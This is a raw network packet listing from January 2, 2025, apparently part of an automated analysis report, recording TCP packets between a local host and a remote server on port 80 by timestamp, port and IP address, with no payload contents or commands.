Jan 2, 2025 20:20:01.642126083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.642138004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642148972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642194986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.642194986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.642905951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642918110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642929077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642956972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.642966032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642978907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.642982960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.642993927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643007994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643018961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643033981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643039942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643050909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643107891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643393993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643408060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643419981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643430948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643444061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643456936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643491030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643491030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643522978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643544912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643590927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643820047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643850088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643873930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643910885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643922091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643923998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643938065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643959045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643973112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643973112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.643976927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643990040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.643996954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.644011021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.644041061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.644383907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.644396067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.644407988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.644426107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.644438028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.644452095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.644468069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.644510031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.644510031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.644510031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.644510031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.644527912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.645247936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.645298958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.645302057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.645312071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.645349026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.645359993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.645359993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.645360947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.645380974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.645394087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.645399094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.645407915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.645445108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.645445108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.645479918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.645983934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.645997047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646009922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646043062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.646080971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.646091938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646104097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646116018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646131039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646161079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.646161079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.646209955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.646912098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646956921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646967888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.646969080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646985054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.646997929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647003889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.647011042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647017002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.647026062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647073984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.647073984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.647470951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647497892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647512913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647525072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647538900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647546053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.647546053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.647552013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647573948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.647576094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647591114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.647614956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.647641897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.648410082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648437023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648452044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648463964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648467064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.648477077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648489952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648504972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648514986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648526907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.648556948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.648811102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648830891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648844957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648857117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648870945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.648870945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648870945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.648885965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648895025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.648901939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648912907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.648929119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.648991108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.649892092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.649912119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.649924994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.649935961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.649969101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.649981976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.649996042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650012016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.650027037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650046110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.650046110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.650075912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650103092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.650124073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.650794983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650846958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650860071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650861025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.650911093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.650911093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.650926113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650939941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650953054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650964022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650974035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.650976896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.650993109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.651029110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.651063919 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.651253939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.651264906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.651282072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.651293993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.651304960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.651321888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.651335955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.651340961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.651340961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.651348114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.651362896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.651372910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.651384115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.651396036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.651439905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652265072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652276993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652291059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652327061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652345896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652365923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652376890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652379990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652389050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652405024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652415991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652425051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652429104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652448893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652473927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652473927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652498007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652509928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652522087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652524948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652539015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652556896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652568102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.652570009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652570009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652602911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.652635098 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.732599020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.732625008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.732639074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.732652903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.732660055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.732666969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.732681036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.732681990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.732688904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.732744932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.732745886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.733508110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.733520985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.733534098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.733546019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.733557940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.733573914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.733604908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.733618021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.733645916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.733645916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.733706951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734026909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734038115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734047890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734061003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734081984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734096050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734107971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734117985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734117985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734126091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734153986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734153986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734219074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734375000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734436035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734447002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734457016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734461069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734474897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734488010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734498978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734503031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734513044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734533072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734572887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734929085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734941006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.734987020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.734994888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.735016108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.735017061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.735029936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.735043049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.735055923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.735055923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.735055923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.735069036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.735080957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.735137939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.735996008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736008883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736021042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736033916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736047983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736059904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736074924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736080885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.736092091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.736126900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.736489058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736499071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736536980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736561060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.736593008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.736593008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736608028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736622095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736634016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736646891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.736655951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.736689091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.736711979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.737575054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.737586021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.737626076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.737631083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.737639904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.737644911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.737658978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.737669945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.737673998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.737684011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.737694979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.737745047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.737745047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.738008976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.738025904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.738039017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.738054991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.738069057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.738075018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.738081932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.738095045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.738106966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.738117933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.738117933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.738146067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.738172054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739264011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739274979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739291906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739305019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739325047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739336014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739337921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739351988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739361048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739361048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739381075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739382029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739402056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739413977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739420891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739422083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739420891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739442110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739454031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739454985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739464998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739475012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739485979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739497900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739500046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.739517927 CET	49704	80	192.168.2.8	47.254.187.72
